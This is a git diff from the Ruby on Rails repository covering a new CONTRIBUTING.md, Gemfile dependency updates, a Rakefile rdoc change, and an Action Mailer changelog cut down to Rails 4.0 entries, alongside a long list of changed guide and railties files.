-rw-r--r--activesupport/test/time_zone_test.rb8
-rw-r--r--guides/Rakefile4
-rw-r--r--guides/assets/stylesheets/main.css12
-rw-r--r--guides/code/getting_started/config/initializers/session_store.rb5
-rw-r--r--guides/rails_guides.rb11
-rw-r--r--guides/rails_guides/generator.rb73
-rw-r--r--guides/rails_guides/markdown.rb161
-rw-r--r--guides/rails_guides/markdown/renderer.rb82
-rw-r--r--guides/rails_guides/textile_extensions.rb67
-rw-r--r--guides/source/2_2_release_notes.md435
-rw-r--r--guides/source/2_2_release_notes.textile422
-rw-r--r--guides/source/2_3_release_notes.md (renamed from guides/source/2_3_release_notes.textile)535
-rw-r--r--guides/source/3_0_release_notes.md614
-rw-r--r--guides/source/3_0_release_notes.textile595
-rw-r--r--guides/source/3_1_release_notes.md552
-rw-r--r--guides/source/3_1_release_notes.textile538
-rw-r--r--guides/source/3_2_release_notes.md565
-rw-r--r--guides/source/3_2_release_notes.textile552
-rw-r--r--guides/source/4_0_release_notes.md876
-rw-r--r--guides/source/4_0_release_notes.textile857
-rw-r--r--guides/source/action_controller_overview.md (renamed from guides/source/action_controller_overview.textile)535
-rw-r--r--guides/source/action_mailer_basics.md567
-rw-r--r--guides/source/action_mailer_basics.textile549
-rw-r--r--guides/source/action_view_overview.md (renamed from guides/source/action_view_overview.textile)1028
-rw-r--r--guides/source/active_model_basics.md (renamed from guides/source/active_model_basics.textile)60
-rw-r--r--guides/source/active_record_basics.md (renamed from guides/source/active_record_basics.textile)178
-rw-r--r--guides/source/active_record_querying.md (renamed from guides/source/active_record_querying.textile)1222
-rw-r--r--guides/source/active_record_validations_callbacks.md (renamed from guides/source/active_record_validations_callbacks.textile)927
-rw-r--r--guides/source/active_support_core_extensions.md (renamed from guides/source/active_support_core_extensions.textile)2576
-rw-r--r--guides/source/active_support_instrumentation.md485
-rw-r--r--guides/source/active_support_instrumentation.textile448
-rw-r--r--guides/source/ajax_on_rails.md316
-rw-r--r--guides/source/ajax_on_rails.textile309
-rw-r--r--guides/source/api_documentation_guidelines.md (renamed from guides/source/api_documentation_guidelines.textile)106
-rw-r--r--guides/source/asset_pipeline.md (renamed from guides/source/asset_pipeline.textile)537
-rw-r--r--guides/source/association_basics.md1974
-rw-r--r--guides/source/association_basics.textile1967
-rw-r--r--guides/source/caching_with_rails.md (renamed from guides/source/caching_with_rails.textile)273
-rw-r--r--guides/source/command_line.md (renamed from guides/source/command_line.textile)336
-rw-r--r--guides/source/configuring.md790
-rw-r--r--guides/source/configuring.textile779
-rw-r--r--guides/source/contributing_to_ruby_on_rails.md (renamed from guides/source/contributing_to_ruby_on_rails.textile)372
-rw-r--r--guides/source/credits.html.erb2
-rw-r--r--guides/source/debugging_rails_applications.md (renamed from guides/source/debugging_rails_applications.textile)454
-rw-r--r--guides/source/development_dependencies_install.md174
-rw-r--r--guides/source/documents.yaml4
-rw-r--r--guides/source/engines.md911
-rw-r--r--guides/source/engines.textile912
-rw-r--r--guides/source/form_helpers.md (renamed from guides/source/form_helpers.textile)636
-rw-r--r--guides/source/generators.md (renamed from guides/source/generators.textile)376
-rw-r--r--guides/source/getting_started.md (renamed from guides/source/getting_started.textile)1012
-rw-r--r--guides/source/i18n.md (renamed from guides/source/i18n.textile)626
-rw-r--r--guides/source/initialization.md (renamed from guides/source/initialization.textile)330
-rw-r--r--guides/source/layouts_and_rendering.md (renamed from guides/source/layouts_and_rendering.textile)1042
-rw-r--r--guides/source/migrations.md (renamed from guides/source/migrations.textile)651
-rw-r--r--guides/source/nested_model_forms.md (renamed from guides/source/nested_model_forms.textile)117
-rw-r--r--guides/source/performance_testing.md (renamed from guides/source/performance_testing.textile)410
-rw-r--r--guides/source/plugins.md (renamed from guides/source/plugins.textile)244
-rw-r--r--guides/source/rails_application_templates.md (renamed from guides/source/rails_application_templates.textile)171
-rw-r--r--guides/source/rails_on_rack.md346
-rw-r--r--guides/source/rails_on_rack.textile318
-rw-r--r--guides/source/routing.md967
-rw-r--r--guides/source/routing.textile953
-rw-r--r--guides/source/ruby_on_rails_guides_guidelines.md121
-rw-r--r--guides/source/ruby_on_rails_guides_guidelines.textile104
-rw-r--r--guides/source/security.md (renamed from guides/source/security.textile)796
-rw-r--r--guides/source/testing.md (renamed from guides/source/testing.textile)580
-rw-r--r--guides/source/upgrading_ruby_on_rails.md (renamed from guides/source/upgrading_ruby_on_rails.textile)150
-rw-r--r--guides/w3c_validator.rb21
-rw-r--r--rails.gemspec2
-rw-r--r--railties/CHANGELOG.md2513
-rw-r--r--railties/lib/rails.rb1
-rw-r--r--railties/lib/rails/application.rb16
-rw-r--r--railties/lib/rails/application/bootstrap.rb18
-rw-r--r--railties/lib/rails/application/configuration.rb36
-rw-r--r--railties/lib/rails/application/finisher.rb10
-rw-r--r--railties/lib/rails/commands/dbconsole.rb7
-rw-r--r--railties/lib/rails/commands/server.rb9
-rw-r--r--railties/lib/rails/deprecation.rb3
-rw-r--r--railties/lib/rails/engine.rb9
-rw-r--r--railties/lib/rails/generators.rb1
-rw-r--r--railties/lib/rails/generators/app_base.rb82
-rw-r--r--railties/lib/rails/generators/base.rb2
-rw-r--r--railties/lib/rails/generators/rails/app/app_generator.rb32
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/application.rb9
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environment.rb4
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt9
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt14
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt14
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt3
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/routes.rb8
-rw-r--r--railties/lib/rails/generators/rails/controller/USAGE12
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb22
-rw-r--r--railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb16
-rw-r--r--railties/lib/rails/generators/rails/session_migration/USAGE8
-rw-r--r--railties/lib/rails/generators/rails/session_migration/session_migration_generator.rb8
-rw-r--r--railties/lib/rails/queueing.rb107
-rw-r--r--railties/lib/rails/rack/logger.rb36
-rw-r--r--railties/lib/rails/railtie.rb3
-rw-r--r--railties/lib/rails/railtie/configuration.rb10
-rw-r--r--railties/test/application/assets_test.rb85
-rw-r--r--railties/test/application/configuration_test.rb112
-rw-r--r--railties/test/application/initializers/boot_test.rb2
-rw-r--r--railties/test/application/initializers/frameworks_test.rb69
-rw-r--r--railties/test/application/initializers/hooks_test.rb10
-rw-r--r--railties/test/application/loading_test.rb1
-rw-r--r--railties/test/application/middleware/cache_test.rb2
-rw-r--r--railties/test/application/middleware/exceptions_test.rb14
-rw-r--r--railties/test/application/middleware/remote_ip_test.rb14
-rw-r--r--railties/test/application/middleware/session_test.rb82
-rw-r--r--railties/test/application/middleware_test.rb6
-rw-r--r--railties/test/application/queue_test.rb24
-rw-r--r--railties/test/application/rack/logger_test.rb14
-rw-r--r--railties/test/application/rake/dbs_test.rb181
-rw-r--r--railties/test/application/rake_test.rb23
-rw-r--r--railties/test/generators/app_generator_test.rb25
-rw-r--r--railties/test/generators/migration_generator_test.rb7
-rw-r--r--railties/test/generators/model_generator_test.rb10
-rw-r--r--railties/test/generators/plugin_new_generator_test.rb11
-rw-r--r--railties/test/generators/scaffold_controller_generator_test.rb7
-rw-r--r--railties/test/generators/scaffold_generator_test.rb8
-rw-r--r--railties/test/generators/session_migration_generator_test.rb27
-rw-r--r--railties/test/generators/shared_generator_tests.rb12
-rw-r--r--railties/test/isolation/abstract_unit.rb16
-rw-r--r--railties/test/queueing/container_test.rb30
-rw-r--r--railties/test/queueing/threaded_consumer_test.rb100
593 files changed, 29576 insertions, 44135 deletions
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000000..adc5eb6914
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,12 @@
+Ruby on Rails is a volunteer effort. We encourage you to pitch in. [Join the team](http://contributors.rubyonrails.org)!
+
+Please read the [Contributing to Ruby on Rails](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide before submitting any code.
+
+*We only accept bug reports and pull requests in GitHub*.
+
+If you have a question about how to use Ruby on Rails, please [ask the rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk).
+
+If you have a change or new feature in mind, please [suggest it on the rubyonrails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core) and start writing code.
+
+Thanks! :heart: :heart: :heart: <br />
+Rails Team
diff --git a/Gemfile b/Gemfile
index 30b8f9aa08..d149ec6129 100644
--- a/Gemfile
+++ b/Gemfile
@@ -2,32 +2,22 @@ source 'https://rubygems.org'
gemspec
-if ENV['AREL']
- gem 'arel', path: ENV['AREL']
-else
- gem 'arel', github: 'rails/arel'
-end
+gem 'arel', github: 'rails/arel', branch: 'master'
gem 'mocha', '>= 0.11.2', :require => false
-gem 'rack-test', github: "brynary/rack-test"
+gem 'rack-test', github: 'brynary/rack-test'
gem 'bcrypt-ruby', '~> 3.0.0'
gem 'jquery-rails'
-if ENV['JOURNEY']
- gem 'journey', path: ENV['JOURNEY']
-else
- gem 'journey', github: "rails/journey"
-end
+gem 'journey', github: 'rails/journey', branch: 'master'
-if ENV['AR_DEPRECATED_FINDERS']
- gem 'activerecord-deprecated_finders', path: ENV['AR_DEPRECATED_FINDERS']
-else
- gem 'activerecord-deprecated_finders', github: 'rails/activerecord-deprecated_finders'
-end
+gem 'activerecord-deprecated_finders', github: 'rails/activerecord-deprecated_finders', branch: 'master'
# This needs to be with require false to avoid
# it being automatically loaded by sprockets
-gem 'uglifier', '>= 1.0.3', require: false
+gem 'uglifier', require: false
+
+gem 'sprockets-rails', github: 'rails/sprockets-rails', branch: 'master'
group :doc do
# The current sdoc cannot generate GitHub links due
@@ -35,12 +25,12 @@ group :doc do
# for some weeks unapplied. As a temporary solution
# this is our own fork with the fix.
gem 'sdoc', github: 'fxn/sdoc'
- gem 'RedCloth', '~> 4.2'
+ gem 'redcarpet', '~> 2.1.1'
gem 'w3c_validators'
end
# AS
-gem 'dalli'
+gem 'dalli', '>= 2.2.1'
# Add your own local bundler stuff
local_gemfile = File.dirname(__FILE__) + "/.Gemfile"
@@ -49,6 +39,7 @@ instance_eval File.read local_gemfile if File.exists? local_gemfile
platforms :mri do
group :test do
gem 'ruby-prof', '~> 0.11.2'
+ gem 'debugger' if !ENV['TRAVIS'] && RUBY_VERSION < "2.0"
end
end
@@ -62,7 +53,7 @@ platforms :ruby do
group :db do
gem 'pg', '>= 0.11.0'
- gem 'mysql', '>= 2.8.1'
+ gem 'mysql', '>= 2.8.1' if RUBY_VERSION < '2.0.0'
gem 'mysql2', '>= 0.3.10'
end
end
@@ -83,15 +74,11 @@ platforms :jruby do
end
# gems that are necessary for ActiveRecord tests with Oracle database
-if ENV['ORACLE_ENHANCED_PATH'] || ENV['ORACLE_ENHANCED']
+if ENV['ORACLE_ENHANCED']
platforms :ruby do
gem 'ruby-oci8', '>= 2.0.4'
end
- if ENV['ORACLE_ENHANCED_PATH']
- gem 'activerecord-oracle_enhanced-adapter', path: ENV['ORACLE_ENHANCED_PATH']
- else
- gem 'activerecord-oracle_enhanced-adapter', github: 'rsim/oracle-enhanced'
- end
+ gem 'activerecord-oracle_enhanced-adapter', github: 'rsim/oracle-enhanced', branch: 'master'
end
# A gem necessary for ActiveRecord tests with IBM DB
diff --git a/Rakefile b/Rakefile
index 21eb60bbe1..99a27595e9 100644
--- a/Rakefile
+++ b/Rakefile
@@ -117,8 +117,7 @@ RDoc::Task.new do |rdoc|
rdoc.rdoc_files.include('actionmailer/README.rdoc')
rdoc.rdoc_files.include('actionmailer/CHANGELOG.md')
- rdoc.rdoc_files.include('actionmailer/lib/action_mailer/base.rb')
- rdoc.rdoc_files.include('actionmailer/lib/action_mailer/mail_helper.rb')
+ rdoc.rdoc_files.include('actionmailer/lib/action_mailer/**/*.rb')
rdoc.rdoc_files.exclude('actionmailer/lib/action_mailer/vendor/*')
rdoc.rdoc_files.include('activesupport/README.rdoc')
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
index d2b8c35124..e29890f2d8 100644
--- a/actionmailer/CHANGELOG.md
+++ b/actionmailer/CHANGELOG.md
@@ -1,541 +1,30 @@
## Rails 4.0.0 (unreleased) ##
-* Allow to set default Action Mailer options via `config.action_mailer.default_options=` *Robert Pankowecki*
-
-* Raise an `ActionView::MissingTemplate` exception when no implicit template could be found. *Damien Mathieu*
-
-* Asynchronously send messages via the Rails Queue *Brian Cardarella*
-
-
-## Rails 3.2.8 (Aug 9, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.7 (Jul 26, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.6 (Jun 12, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.5 (Jun 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.4 (May 31, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.3 (March 30, 2012) ##
-
-* Upgrade mail version to 2.4.3 *ML*
-
-
-## Rails 3.2.2 (March 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.1 (January 26, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.0 (January 20, 2012) ##
-
-* Upgrade mail version to 2.4.0 *ML*
-
-* Remove Old ActionMailer API *Josh Kalderimis*
-
-
-## Rails 3.1.3 (November 20, 2011) ##
-
-* No changes
-
-
-## Rails 3.1.2 (November 18, 2011) ##
-
-* No changes
-
-
-## Rails 3.1.1 (October 7, 2011) ##
-
-* No changes
-
-
-## Rails 3.1.0 (August 30, 2011) ##
-
-* No changes
-
-
-## Rails 3.0.11 (November 18, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.10 (August 16, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.9 (June 16, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.8 (June 7, 2011) ##
-
-* Mail dependency increased to 2.2.19
-
-
-## Rails 3.0.7 (April 18, 2011) ##
-
-* remove AM delegating register_observer and register_interceptor to Mail *Josh Kalderimis*
-
-
-## Rails 3.0.6 (April 5, 2011) ##
-
-* Don't allow i18n to change the minor version, version now set to ~> 0.5.0 *Santiago Pastorino*
-
-
-## Rails 3.0.5 (February 26, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.4 (February 8, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.3 (November 16, 2010) ##
-
-* No changes.
-
-
-## Rails 3.0.2 (November 15, 2010) ##
-
-* No changes
-
-
-## Rails 3.0.1 (October 15, 2010) ##
-
-* No Changes, just a version bump.
-
-
-## Rails 3.0.0 (August 29, 2010) ##
-
-* subject is automatically looked up on I18n using mailer_name and action_name as scope as in t(".subject") *JK*
-
-* Changed encoding behaviour of mail, so updated tests in actionmailer and bumped mail version to 2.2.1 *ML*
-
-* Added ability to pass Proc objects to the defaults hash *ML*
-
-* Removed all quoting.rb type files from ActionMailer and put Mail 2.2.0 in instead *ML*
-
-* Lot of updates to various test cases that now work better with the new Mail and so have different expectations
-
-* Added interceptors and observers from Mail *ML*
-
- ActionMailer::Base.register_interceptor calls Mail.register_interceptor
- ActionMailer::Base.register_observer calls Mail.register_observer
-
-* Mail::Part now no longer has nil as a default charset, it is always set to something, and defaults to UTF-8
-
-* Added explict setting of charset in set_fields! method to make sure Mail has the user defined default
-
-* Removed quoting.rb and refactored for Mail to take responsibility of all quoting and auto encoding requirements for the header.
-
-* Fixed several tests which had incorrect encoding.
-
-* Changed all utf-8 to UTF-8 for consistency
-
-* Whole new API added with tests. See base.rb for full details. Old API is deprecated.
-
-* The Mail::Message class has helped methods for all the field types that return 'common' defaults for the common use case, so to get the subject, mail.subject will give you a string, mail.date will give you a DateTime object, mail.from will give you an array of address specs (mikel@test.lindsaar.net) etc. If you want to access the field object itself, call mail[:field_name] which will return the field object you want, which you can then chain, like mail[:from].formatted
-
-* Mail#content_type now returns the content_type field as a string. If you want the mime type of a mail, then you call Mail#mime_type (eg, text/plain), if you want the parameters of the content type field, you call Mail#content_type_parameters which gives you a hash, eg {'format' => 'flowed', 'charset' => 'utf-8'}
-
-* ActionMailer::Base :default_implicit_parts_order now is in the sequence of the order you want, no reversing of ordering takes place. The default order now is text/plain, then text/enriched, then text/html and then any other part that is not one of these three.
-
-* Mail does not have "quoted_body", "quoted_subject" etc. All of these are accessed via body.encoded, subject.encoded etc
-
-* Every object in a Mail object returns an object, never a string. So Mail.body returns a Mail::Body class object, need to call #encoded or #decoded to get the string you want.
-
-* Mail::Message#set_content_type does not exist, it is simply Mail::Message#content_type
-
-* Every mail message gets a unique message_id unless you specify one, had to change all the tests that check for equality with expected.encoded == actual.encoded to first replace their message_ids with control values
-
-* Mail now has a proper concept of parts, remove the ActionMailer::Part and ActionMailer::PartContainer classes
-
-* Calling #encoded on any object returns it as a string ready to go into the output stream of an email, this means it includes the \r\n at the end of the lines and the object is pre-wrapped with \r\n\t if it is a header field. Also, the "encoded" value includes the field name if it is a header field.
-
-* Attachments are only the actual attachment, with filename etc. A part contains an attachment. The part has the content_type etc. So attachments.last.content_type is invalid. But parts.last.content_type
-
-* There is no idea of a "sub_head" in Mail. A part is just a Message with some extra functionality, so it just has a "header" like a normal mail message
-
-
-## 2.3.2 Final (March 15, 2009) ##
-
-* Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 *Matt Jones*
-
-* Fixed RFC-2045 quoted-printable bug #1421 *squadette*
-
-* Fixed that no body charset would be set when there are attachments present #740 *Paweł Kondzior*
-
-
-## 2.2.1 RC2 (November 14th, 2008) ##
-
-* Turn on STARTTLS if it is available in Net::SMTP (added in Ruby 1.8.7) and the SMTP server supports it (This is required for Gmail's SMTP server) #1336 *Grant Hollingworth*
-
-
-## 2.2.0 RC1 (October 24th, 2008) ##
-
-* Add layout functionality to mailers *Pratik Naik*
-
- Mailer layouts behaves just like controller layouts, except layout names need to
- have '_mailer' postfix for them to be automatically picked up.
-
-
-## 2.1.0 (May 31st, 2008) ##
-
-* Fixed that a return-path header would be ignored #7572 *joost*
-
-* Less verbose mail logging: just recipients for :info log level; the whole email for :debug only. #8000 *iaddict, Tarmo Tänav*
-
-* Updated TMail to version 1.2.1 *Mikel Lindsaar*
-
-* Fixed that you don't have to call super in ActionMailer::TestCase#setup #10406 *jamesgolick*
-
-
-## 2.0.2 (December 16th, 2007) ##
-
-* Included in Rails 2.0.2
-
-
-## 2.0.1 (December 7th, 2007) ##
-
-* Update ActionMailer so it treats ActionView the same way that ActionController does. Closes #10244 *Rick Olson*
-
- * Pass the template_root as an array as ActionView's view_path
- * Request templates with the "#{mailer_name}/#{action}" as opposed to just "#{action}"
-
-* Fixed that partials would be broken when using text.plain.erb as the extension #10130 *java*
-
-* Update README to use new smtp settings configuration API. Closes #10060 *psq*
-
-* Allow ActionMailer subclasses to individually set their delivery method (so two subclasses can have different delivery methods) #10033 *Zach Dennis*
-
-* Update TMail to v1.1.0. Use an updated version of TMail if available. *Mikel Lindsaar*
-
-* Introduce a new base test class for testing Mailers. ActionMailer::TestCase *Michael Koziarski*
-
-* Fix silent failure of rxml templates. #9879 *jstewart*
-
-* Fix attachment decoding when using the TMail C extension. #7861 *orangechicken*
-
-* Increase mail delivery test coverage. #8692 *Kamal Fariz Mahyuddin*
-
-* Register alternative template engines using ActionMailer::Base.register_template_extension('haml'). #7534 *cwd, Josh Peek*
-
-* Only load ActionController::UrlWriter if ActionController is present *Rick Olson*
+* Support `Mailer.deliver_foo(*args)` as a synonym for
+ `Mailer.foo(*args).deliver`. This makes it easy to write e.g.
+ `Mailer.expects(:deliver_foo)` when testing code that calls
+ the mailer. *Jon Leighton*
-* Make sure parsed emails recognized attachments nested inside multipart parts. #6714 *Jamis Buck*
+* Allow delivery method options to be set per mail instance *Aditya Sanghi*
-* Allow mailer actions named send by using __send__ internally. #6467 *iGEL*
+ If your smtp delivery settings are dynamic,
+ you can now override settings per mail instance for e.g.
-* Add assert_emails and assert_no_emails to test the number of emails delivered. #6479 *Jonathan Viney*
- # Assert total number of emails delivered:
- assert_emails 0
- ContactMailer.deliver_contact
- assert_emails 1
+ def my_mailer(user,company)
+ mail to: user.email, subject: "Welcome!",
+ delivery_method_options: {user_name: company.smtp_user,
+ password: company.smtp_password}
+ end
- # Assert number of emails delivered within a block:
- assert_emails 1 do
- post :signup, :name => 'Jonathan'
- end
+ This will ensure that your default SMTP settings will be overridden
+ by the company specific ones. You only have to override the settings
+ that are dynamic and leave the static setting in your environment
+ configuration file (e.g. config/environments/production.rb)
+* Allow to set default Action Mailer options via `config.action_mailer.default_options=` *Robert Pankowecki*
-## 1.3.3 (March 12th, 2007) ##
-
-* Depend on Action Pack 1.13.3
-
-
-## 1.3.2 (February 5th, 2007) ##
-
-* Deprecate server_settings renaming it to smtp_settings, add sendmail_settings to allow you to override the arguments to and location of the sendmail executable. *Michael Koziarski*
-
-
-## 1.3.1 (January 16th, 2007) ##
-
-* Depend on Action Pack 1.13.1
-
-
-## 1.3.0 (January 16th, 2007) ##
-
-* Make mime version default to 1.0. closes #2323 *ror@andreas-s.net*
-
-* Make sure quoted-printable text is decoded correctly when only portions of the text are encoded. closes #3154. *jon@siliconcircus.com*
-
-* Make sure DOS newlines in quoted-printable text are normalized to unix newlines before unquoting. closes #4166 and #4452. *Jamis Buck*
-
-* Fixed that iconv decoding should catch InvalidEncoding #3153 *jon@siliconcircus.com*
-
-* Tighten rescue clauses. #5985 *james@grayproductions.net*
-
-* Automatically included ActionController::UrlWriter, such that URL generation can happen within ActionMailer controllers. *David Heinemeier Hansson*
-
-* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
-
-* Mailer template root applies to a class and its subclasses rather than acting globally. #5555 *somekool@gmail.com*
-
-* Resolve action naming collision. #5520 *ssinghi@kreeti.com*
-
-* ActionMailer::Base documentation rewrite. Closes #4991 *Kevin Clark, Marcel Molina Jr.*
-
-* Replace alias method chaining with Module#alias_method_chain. *Marcel Molina Jr.*
-
-* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
-
-* Correct spurious documentation example code which results in a SyntaxError. *Marcel Molina Jr.*
-
-
-## 1.2.1 (April 6th, 2006) ##
-
-* Be part of Rails 1.1.1
-
-
-## 1.2.0 (March 27th, 2006) ##
-
-* Nil charset caused subject line to be improperly quoted in implicitly multipart messages #2662 *ehalvorsen+rails@runbox.com*
-
-* Parse content-type apart before using it so that sub-parts of the header can be set correctly #2918 *Jamis Buck*
-
-* Make custom headers work in subparts #4034 *elan@bluemandrill.com*
-
-* Template paths with dot chars in them no longer mess up implicit template selection for multipart messages #3332 *Chad Fowler*
-
-* Make sure anything with content-disposition of "attachment" is passed to the attachment presenter when parsing an email body *Jamis Buck*
-
-* Make sure TMail#attachments includes anything with content-disposition of "attachment", regardless of content-type *Jamis Buck*
-
-
-## 1.1.5 (December 13th, 2005) ##
-
-* Become part of Rails 1.0
-
-
-## 1.1.4 (December 7th, 2005) ##
-
-* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
-
-* Stricter matching for implicitly multipart filenames excludes files ending in unsupported extensions (such as foo.rhtml.bak) and without a two-part content type (such as foo.text.rhtml or foo.text.really.plain.rhtml). #2398 *Dave Burt <dave@burt.id.au>, Jeremy Kemper*
-
-
-## 1.1.3 (November 7th, 2005) ##
-
-* Allow Mailers to have custom initialize methods that set default instance variables for all mail actions #2563 *mrj@bigpond.net.au*
-
-
-## 1.1.2 (October 26th, 2005) ##
-
-* Upgraded to Action Pack 1.10.2
-
-
-## 1.1.1 (October 19th, 2005) ##
-
-* Upgraded to Action Pack 1.10.1
-
-
-## 1.1.0 (October 16th, 2005) ##
-
-* Update and extend documentation (rdoc)
-
-* Minero Aoki made TMail available to Rails/ActionMailer under the MIT license (instead of LGPL) *RubyConf '05*
-
-* Austin Ziegler made Text::Simple available to Rails/ActionMailer under a MIT-like licens *See rails ML, subject "Text::Format Licence Exception" on Oct 15, 2005*
-
-* Fix vendor require paths to prevent files being required twice
-
-* Don't add charset to content-type header for a part that contains subparts (for AOL compatibility) #2013 *John Long*
-
-* Preserve underscores when unquoting message bodies #1930
-
-* Encode multibyte characters correctly #1894
-
-* Multipart messages specify a MIME-Version header automatically #2003 *John Long*
-
-* Add a unified render method to ActionMailer (delegates to ActionView::Base#render)
-
-* Move mailer initialization to a separate (overridable) method, so that subclasses may alter the various defaults #1727
-
-* Look at content-location header (if available) to determine filename of attachments #1670
-
-* ActionMailer::Base.deliver(email) had been accidentally removed, but was documented in the Rails book #1849
-
-* Fix problem with sendmail delivery where headers should be delimited by \n characters instead of \r\n, which confuses some mail readers #1742 *Kent Sibilev*
-
-
-## 1.0.1 (11 July, 2005) ##
-
-* Bind to Action Pack 1.9.1
-
-
-## 1.0.0 (6 July, 2005) ##
-
-* Avoid adding nil header values #1392
-
-* Better multipart support with implicit multipart/alternative and sorting of subparts *John Long*
-
-* Allow for nested parts in multipart mails #1570 *Flurin Egger*
-
-* Normalize line endings in outgoing mail bodies to "\n" #1536 *John Long*
-
-* Allow template to be explicitly specified #1448 *tuxie@dekadance.se*
-
-* Allow specific "multipart/xxx" content-type to be set on multipart messages #1412 *Flurin Egger*
-
-* Unquoted @ characters in headers are now accepted in spite of RFC 822 #1206
-
-* Helper support (borrowed from ActionPack)
-
-* Silently ignore Errno::EINVAL errors when converting text.
-
-* Don't cause an error when parsing an encoded attachment name #1340 *lon@speedymac.com*
-
-* Nested multipart message parts are correctly processed in TMail::Mail#body
-
-* BCC headers are removed when sending via SMTP #1402
-
-* Added 'content_type' accessor, to allow content type to be set on a per-message basis. content_type defaults to "text/plain".
-
-* Silently ignore Iconv::IllegalSequence errors when converting text #1341 *lon@speedymac.com*
-
-* Support attachments and multipart messages.
-
-* Added new accessors for the various mail properties.
-
-* Fix to only perform the charset conversion if a 'from' and a 'to' charset are given (make no assumptions about what the charset was) #1276 *Jamis Buck*
-
-* Fix attachments and content-type problems #1276 *Jamis Buck*
-
-* Fixed the TMail#body method to look at the content-transfer-encoding header and unquote the body according to the rules it specifies #1265 *Jamis Buck*
-
-* Added unquoting even if the iconv lib can't be loaded--in that case, only the charset conversion is skipped #1265 *Jamis Buck*
-
-* Added automatic decoding of base64 bodies #1214 *Jamis Buck*
-
-* Added that delivery errors are caught in a way so the mail is still returned whether the delivery was successful or not
-
-* Fixed that email address like "Jamis Buck, M.D." <wild.medicine@example.net> would cause the quoter to generate emails resulting in "bad address" errors from the mail server #1220 *Jamis Buck*
-
-
-## 0.9.1 (20th April, 2005) ##
-
-* Depend on Action Pack 1.8.1
-
-
-## 0.9.0 (19th April, 2005) ##
-
-* Added that deliver_* will now return the email that was sent
-
-* Added that quoting to UTF-8 only happens if the characters used are in that range #955 *Jamis Buck*
-
-* Fixed quoting for all address headers, not just to #955 *Jamis Buck*
-
-* Fixed unquoting of emails that doesn't have an explicit charset #1036 *wolfgang@stufenlos.net*
-
-
-## 0.8.1 (27th March, 2005) ##
-
-* Fixed that if charset was found that the end of a mime part declaration TMail would throw an error #919 *lon@speedymac.com*
-
-* Fixed that TMail::Unquoter would fail to recognize quoting method if it was in lowercase #919 *lon@speedymac.com*
-
-* Fixed that TMail::Encoder would fail when it attempts to parse e-mail addresses which are encoded using something other than the messages encoding method #919 *lon@speedymac.com*
-
-* Added rescue for missing iconv library and throws warnings if subject/body is called on a TMail object without it instead
-
-
-## 0.8.0 (22th March, 2005) ##
-
-* Added framework support for processing incoming emails with an Action Mailer class. See example in README.
-
-
-## 0.7.1 (7th March, 2005) ##
-
-* Bind to newest Action Pack (1.5.1)
-
-
-## 0.7.0 (24th February, 2005) ##
-
-* Added support for charsets for both subject and body. The default charset is now UTF-8 #673 [Jamis Buck]. Examples:
-
- def iso_charset(recipient)
- @recipients = recipient
- @subject = "testing iso charsets"
- @from = "system@loudthinking.com"
- @body = "Nothing to see here."
- @charset = "iso-8859-1"
- end
-
- def unencoded_subject(recipient)
- @recipients = recipient
- @subject = "testing unencoded subject"
- @from = "system@loudthinking.com"
- @body = "Nothing to see here."
- @encode_subject = false
- @charset = "iso-8859-1"
- end
-
-
-## 0.6.1 (January 18th, 2005) ##
-
-* Fixed sending of emails to use Tmail#from not the deprecated Tmail#from_address
-
-
-## 0.6 (January 17th, 2005) ##
-
-* Fixed that bcc and cc should be settable through @bcc and @cc -- not just @headers["Bcc"] and @headers["Cc"] #453 *Eric Hodel*
-
-* Fixed Action Mailer to be "warnings safe" so you can run with ruby -w and not get framework warnings #453 *Eric Hodel*
-
-
-## 0.5 ##
-
-* Added access to custom headers, like cc, bcc, and reply-to #268 [Andreas Schwarz]. Example:
-
- def post_notification(recipients, post)
- @recipients = recipients
- @from = post.author.email_address_with_name
- @headers["bcc"] = SYSTEM_ADMINISTRATOR_EMAIL
- @headers["reply-to"] = "notifications@example.com"
- @subject = "[#{post.account.name} #{post.title}]"
- @body["post"] = post
- end
-
-## 0.4 (5) ##
-
-* Consolidated the server configuration options into Base#server_settings= and expanded that with controls for authentication and more *Marten*
- NOTE: This is an API change that could potentially break your application if you used the old application form. Please do change!
-
-* Added Base#deliveries as an accessor for an array of emails sent out through that ActionMailer class when using the :test delivery option. *Jeremy Kemper*
-
-* Added Base#perform_deliveries= which can be set to false to turn off the actual delivery of the email through smtp or sendmail.
